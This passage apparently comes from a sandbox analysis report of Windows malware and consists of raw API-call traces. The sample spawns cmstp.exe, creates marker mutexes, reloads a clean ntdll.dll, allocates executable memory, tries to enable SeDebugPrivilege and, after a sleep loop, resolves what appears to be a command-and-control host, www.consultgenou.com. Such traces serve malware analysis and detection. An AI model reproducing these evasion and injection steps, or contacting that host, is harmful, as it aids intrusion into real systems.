os_tid = 0xacc Thread: id = 39 os_tid = 0xac4 Thread: id = 40 os_tid = 0xa98 Thread: id = 41 os_tid = 0xa78 Thread: id = 42 os_tid = 0xa44 Thread: id = 43 os_tid = 0xa40 Thread: id = 44 os_tid = 0xa2c Thread: id = 45 os_tid = 0x988 Thread: id = 46 os_tid = 0x970 Thread: id = 47 os_tid = 0x96c Thread: id = 48 os_tid = 0x940 Thread: id = 49 os_tid = 0x920 Thread: id = 50 os_tid = 0x904 Thread: id = 51 os_tid = 0x8fc Thread: id = 52 os_tid = 0x8f8 Thread: id = 53 os_tid = 0x8d8 Thread: id = 54 os_tid = 0x89c Thread: id = 55 os_tid = 0x884 Thread: id = 56 os_tid = 0x820 Thread: id = 57 os_tid = 0x810 Thread: id = 58 os_tid = 0x80c Thread: id = 59 os_tid = 0x668 Thread: id = 60 os_tid = 0x5d8 Thread: id = 61 os_tid = 0x64c Thread: id = 62 os_tid = 0x788 Thread: id = 63 os_tid = 0x5cc [0371.919] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\cmstp.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x75f158*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x75f130, hNewToken=0x0 | out: lpProcessInformation=0x75f130*(hProcess=0x1158, hThread=0x1398, dwProcessId=0x1004, dwThreadId=0x1018), hNewToken=0x0) returned 1 [0401.337] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x75edd0 | out: HeapArray=0x75edd0*=0xbb0000) returned 0x5 [0401.342] RtlAllocateHeap (HeapHandle=0xbb0000, Flags=0x0, Size=0x3da0) returned 0x833d690 [0401.404] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x75ebb0 | out: Value="FD1HVy") returned 0x0 [0401.431] RtlIntegerToChar (in: Value=0x560, Base=0x0, Length=0x20, String=0x75f180 | out: String="1376") returned 0x0 [0401.431] RtlIntegerToChar (in: Value=0x11da5c3e, Base=0x0, Length=0x20, String=0x75f180 | out: String="299523134") returned 0x0 [0401.431] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="S-1-5-21-1051304-1376299523134") returned 0x0 [0401.431] GetLastError () returned 0x3e6 [0401.532] LdrGetProcedureAddress (in: BaseAddress=0x7ffce94f0000, Name="CoUninitialize", Ordinal=0x0, ProcedureAddress=0x75f040 | out: ProcedureAddress=0x75f040*=0x7ffce9f4f020) returned 0x0 [0401.534] LdrGetProcedureAddress (in: BaseAddress=0x7ffce94f0000, Name="CoInitializeEx", Ordinal=0x0, ProcedureAddress=0x75f040 | out: ProcedureAddress=0x75f040*=0x7ffce9f4efc0) returned 0x0 [0401.536] LdrGetProcedureAddress (in: BaseAddress=0x7ffce94f0000, Name="CoCreateInstance", Ordinal=0x0, ProcedureAddress=0x75f040 | out: ProcedureAddress=0x75f040*=0x7ffce9fc5110) returned 0x0 [0401.715] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x75e930 | out: Value="FD1HVy") returned 0x0 [0401.762] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x75ec30 | out: Value="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0401.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929f610, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x40, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929f000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x20) returned 0x0 [0401.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929f610, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x20, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929f000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x40) returned 0x0 [0402.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce92a2c40, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x40, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce92a2000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x20) returned 0x0 [0402.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce92a2c40, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x20, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce92a2000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x40) returned 0x0 [0402.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929ef80, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x40, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929e000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x20) returned 0x0 [0402.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929ef80, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x20, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929e000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x40) returned 0x0 [0402.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929f0b0, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x40, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929f000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x20) returned 0x0 [0402.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x75ede8*=0x7ffce929f0b0, NumberOfBytesToProtect=0x75ede0, NewAccessProtection=0x20, OldAccessProtection=0x75ef30 | out: BaseAddress=0x75ede8*=0x7ffce929f000, NumberOfBytesToProtect=0x75ede0, OldAccessProtection=0x75ef30*=0x40) returned 0x0 [0403.286] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x75ebce, cbSize=0x75eba0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x75eba0) returned 0x0 [0408.351] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x75efa0 | out: lpWSAData=0x75efa0) returned 0 [0408.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x672d225, lpParameter=0x67325a3, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x153c Thread: id = 74 os_tid = 0x106c [0408.380] Sleep (dwMilliseconds=0x7d0) [0410.398] Sleep (dwMilliseconds=0x7d0) [0412.429] Sleep (dwMilliseconds=0x7d0) [0414.461] Sleep (dwMilliseconds=0x7d0) [0416.482] Sleep (dwMilliseconds=0x7d0) [0418.494] Sleep (dwMilliseconds=0x7d0) [0420.509] Sleep (dwMilliseconds=0x7d0) [0422.516] Sleep (dwMilliseconds=0x7d0) [0424.531] Sleep (dwMilliseconds=0x7d0) [0426.546] Sleep (dwMilliseconds=0x7d0) [0428.573] Sleep (dwMilliseconds=0x7d0) [0430.581] Sleep (dwMilliseconds=0x7d0) [0432.582] Sleep (dwMilliseconds=0x7d0) [0434.597] Sleep (dwMilliseconds=0x7d0) [0436.607] Sleep (dwMilliseconds=0x7d0) [0438.613] Sleep (dwMilliseconds=0x7d0) [0440.629] Sleep (dwMilliseconds=0x7d0) [0442.633] Sleep (dwMilliseconds=0x7d0) [0444.635] Sleep (dwMilliseconds=0x7d0) [0446.639] Sleep (dwMilliseconds=0x7d0) [0563.489] Sleep (dwMilliseconds=0x7d0) [0565.500] Sleep (dwMilliseconds=0x7d0) [0567.528] Sleep (dwMilliseconds=0x7d0) [0569.528] Sleep (dwMilliseconds=0x7d0) [0571.611] Sleep (dwMilliseconds=0x7d0) [0573.618] Sleep (dwMilliseconds=0x7d0) [0575.667] Sleep (dwMilliseconds=0x7d0) [0577.716] Sleep (dwMilliseconds=0x7d0) [0579.765] Sleep (dwMilliseconds=0x7d0) [0581.773] Sleep (dwMilliseconds=0x7d0) [0583.774] Sleep (dwMilliseconds=0x7d0) [0585.790] Sleep (dwMilliseconds=0x7d0) [0587.805] Sleep (dwMilliseconds=0x7d0) [0589.874] Sleep (dwMilliseconds=0x7d0) [0591.880] Sleep (dwMilliseconds=0x7d0) [0593.881] Sleep (dwMilliseconds=0x7d0) [0595.897] Sleep (dwMilliseconds=0x7d0) [0597.913] Sleep (dwMilliseconds=0x7d0) [0599.976] Sleep (dwMilliseconds=0x7d0) [0601.991] Sleep (dwMilliseconds=0x7d0) [0603.992] Sleep (dwMilliseconds=0x7d0) [0606.008] Sleep (dwMilliseconds=0x7d0) [0608.029] Sleep (dwMilliseconds=0x7d0) [0610.046] Sleep (dwMilliseconds=0x7d0) [0612.051] Sleep (dwMilliseconds=0x7d0) [0614.080] Sleep (dwMilliseconds=0x7d0) [0616.083] Sleep (dwMilliseconds=0x7d0) [0618.099] Sleep (dwMilliseconds=0x7d0) [0620.113] Sleep (dwMilliseconds=0x7d0) [0622.128] Sleep (dwMilliseconds=0x7d0) [0624.151] Sleep (dwMilliseconds=0x7d0) [0626.181] Sleep (dwMilliseconds=0x7d0) [0628.191] Sleep (dwMilliseconds=0x7d0) [0630.206] Sleep (dwMilliseconds=0x7d0) [0632.263] Sleep (dwMilliseconds=0x7d0) [0634.298] Sleep (dwMilliseconds=0x7d0) [0636.311] Sleep (dwMilliseconds=0x7d0) [0638.318] Sleep (dwMilliseconds=0x7d0) [0640.333] Sleep (dwMilliseconds=0x7d0) [0642.348] Sleep (dwMilliseconds=0x7d0) [0644.372] Sleep (dwMilliseconds=0x7d0) [0646.383] Sleep (dwMilliseconds=0x7d0) [0648.399] Sleep (dwMilliseconds=0x7d0) [0650.418] Sleep (dwMilliseconds=0x7d0) [0652.426] Sleep (dwMilliseconds=0x7d0) [0654.437] Sleep (dwMilliseconds=0x7d0) [0656.500] Sleep (dwMilliseconds=0x7d0) [0658.507] Sleep (dwMilliseconds=0x7d0) [0660.519] Sleep (dwMilliseconds=0x7d0) [0662.535] Sleep (dwMilliseconds=0x7d0) [0664.538] Sleep (dwMilliseconds=0x7d0) [0666.560] Sleep (dwMilliseconds=0x7d0) [0668.569] Sleep (dwMilliseconds=0x7d0) [0670.581] Sleep (dwMilliseconds=0x7d0) [0672.673] socket (af=2, type=1, protocol=6) returned 0x1194 [0672.864] getaddrinfo (pNodeName="www.consultgenou.com", pServiceName="80", pHints=0x833d6d8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x833d708) Thread: id = 102 os_tid = 0x10b0 Process: id = "4" image_name = "cmstp.exe" filename = "c:\\windows\\syswow64\\cmstp.exe" page_root = "0xc97b000" os_pid = "0x1004" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x560" cmd_line = "\"C:\\Windows\\SysWOW64\\cmstp.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0x1018 [0381.347] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x6bf164 | out: HeapArray=0x6bf164*=0x9d0000) returned 0x2 [0381.356] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x6bf114, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0381.359] NtCreateFile (in: FileHandle=0x6bf134, DesiredAccess=0x120089, ObjectAttributes=0x6bf0fc*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6bf11c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6bf134*=0x1c8, IoStatusBlock=0x6bf11c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0381.415] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db638) returned 1 [0381.419] NtQueryInformationFile (in: FileHandle=0x1c8, IoStatusBlock=0x6bf11c, FileInformation=0x6bf074, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x6bf11c, FileInformation=0x6bf074) returned 0x0 [0381.425] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18bd90) returned 0xe76020 [0381.505] NtReadFile (in: FileHandle=0x1c8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x6bf11c, Buffer=0xe76020, BufferLength=0x18b990, ByteOffset=0x6bf08c*=0, Key=0x0 | out: IoStatusBlock=0x6bf11c, Buffer=0xe76020*) returned 0x0 [0381.530] NtClose (Handle=0x1c8) returned 0x0 [0381.530] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18e001) returned 0x1013020 [0381.647] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0xe76020) returned 1 [0381.656] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bf108*=0x0, ZeroBits=0x0, RegionSize=0x6bf10c*=0x31f69c, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x6bf108*=0x4690000, RegionSize=0x6bf10c*=0x320000) returned 0x0 [0381.776] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e5bd0 [0381.776] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e6bd8 [0381.776] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e7be0 [0381.776] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9e8be8 [0381.777] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e7be0) returned 1 [0381.777] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9eabf0 [0381.777] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e8be8) returned 1 [0381.777] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9edbf8 [0381.777] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9eabf0) returned 1 [0381.777] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9e7be0 [0381.777] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9edbf8) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9ecbe8 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9edbf0 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9ecbe8) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9efbf8 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9edbf0) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9f2c00 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9efbf8) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9ecbe8 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f2c00) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9f1bf0 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9f2bf8 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f1bf0) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9f4c00 [0381.778] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f2bf8) returned 1 [0381.778] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9f7c08 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f4c00) returned 1 [0381.779] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9f1bf0 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f7c08) returned 1 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e5bd0) returned 1 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e6bd8) returned 1 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e7be0) returned 1 [0381.779] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9ecbe8) returned 1 [0381.780] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f1bf0) returned 1 [0381.875] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e5bd0 [0381.876] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e6bd8 [0381.876] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e7be0 [0381.876] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9e8be8 [0381.876] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e7be0) returned 1 [0381.876] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9eabf0 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e8be8) returned 1 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9edbf8 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9eabf0) returned 1 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9e7be0 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9edbf8) returned 1 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9ecbe8 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9edbf0 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9ecbe8) returned 1 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9efbf8 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9edbf0) returned 1 [0381.877] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9f2c00 [0381.877] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9efbf8) returned 1 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9ecbe8 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f2c00) returned 1 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9f1bf0 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0x9f2bf8 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f1bf0) returned 1 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3000) returned 0x9f4c00 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f2bf8) returned 1 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0x9f7c08 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f4c00) returned 1 [0381.878] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5000) returned 0x9f1bf0 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f7c08) returned 1 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e5bd0) returned 1 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e6bd8) returned 1 [0381.878] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e7be0) returned 1 [0381.879] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9ecbe8) returned 1 [0381.879] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9f1bf0) returned 1 [0381.880] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x6bf0b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0381.880] NtCreateFile (in: FileHandle=0x6bf0d4, DesiredAccess=0x120089, ObjectAttributes=0x6bf09c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6bf0bc, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6bf0d4*=0x1c8, IoStatusBlock=0x6bf0bc*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0381.880] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9db638) returned 1 [0381.880] NtQueryInformationFile (in: FileHandle=0x1c8, IoStatusBlock=0x6bf0bc, FileInformation=0x6bee30, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x6bf0bc, FileInformation=0x6bee30) returned 0x0 [0381.880] NtClose (Handle=0x1c8) returned 0x0 [0381.881] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x208) returned 0x9e5bd0 [0381.881] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e5bd0) returned 1 [0381.885] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51f36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x6bf0f0, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x6bf0f0*(BaseAddress=0x51f36000, AllocationBase=0x51f30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0382.603] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x6bf148, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x6bf148, ResultLength=0x0) returned 0x0 [0382.645] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x6bf16c, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6bf16c, ReturnLength=0x0) returned 0x0 [0382.667] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x1013020) returned 1 [0382.676] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bedfc*=0x0, ZeroBits=0x0, RegionSize=0x6bee00*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6bedfc*=0x8a0000, RegionSize=0x6bee00*=0x10000) returned 0x0 [0382.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x8a0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x8a0000, ResultLength=0x0) returned 0xc0000004 [0382.693] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bf15c*=0x8a0000, RegionSize=0x6bee20, FreeType=0x8000) returned 0x0 [0382.693] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bede8*=0x0, ZeroBits=0x0, RegionSize=0x6bedec*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6bede8*=0xe70000, RegionSize=0x6bedec*=0x20000) returned 0x0 [0382.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe70000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0xe70000, ResultLength=0x0) returned 0xc0000004 [0382.698] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bf15c*=0xe70000, RegionSize=0x6bee20, FreeType=0x8000) returned 0x0 [0382.698] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bede8*=0x0, ZeroBits=0x0, RegionSize=0x6bedec*=0x30000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6bede8*=0xe70000, RegionSize=0x6bedec*=0x30000) returned 0x0 [0382.698] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xe70000, Length=0x30000, ResultLength=0x0 | out: SystemInformation=0xe70000, ResultLength=0x0) returned 0x0 [0382.719] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bf15c*=0xe70000, RegionSize=0x6bf160, FreeType=0x8000) returned 0x0 [0382.735] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x6bef18 | out: Value="FD1HVy") returned 0x0 [0382.742] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x6bf174 | out: TokenHandle=0x6bf174*=0x1c8) returned 0x0 [0382.746] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x6bf168 | out: lpLuid=0x6bf168*(LowPart=0x14, HighPart=0)) returned 1 [0382.754] NtAdjustPrivilegesToken (in: TokenHandle=0x1c8, DisableAllPrivileges=0, NewState=0x6bf164, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x106 [0382.756] NtClose (Handle=0x1c8) returned 0x0 [0382.756] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x6becbc | out: Value="FD1HVy") returned 0x0 [0382.756] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="310A-4BA", Value=0x6bef54 | out: Value=0x6bef54) returned 0xc0000100 [0382.756] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x6bea9c | out: Value="FD1HVy") returned 0x0 [0382.759] NtOpenDirectoryObject (in: FileHandle=0x6bed48, DesiredAccess=0x2000f, ObjectAttributes=0x6bed14*(Length=0x18, RootDirectory=0x0, ObjectName="\\BaseNamedObjects", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: FileHandle=0x6bed48*=0x1c8) returned 0x0 [0382.761] NtCreateMutant (in: MutantHandle=0x6bef74, DesiredAccess=0x1f0001, ObjectAttributes=0x6becfc*(Length=0x18, RootDirectory=0x1c8, ObjectName="310A-4BA29U3JAIZ", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), InitialOwner=0 | out: MutantHandle=0x6bef74*=0x1e8) returned 0x0 [0382.762] NtClose (Handle=0x1c8) returned 0x0 [0382.762] 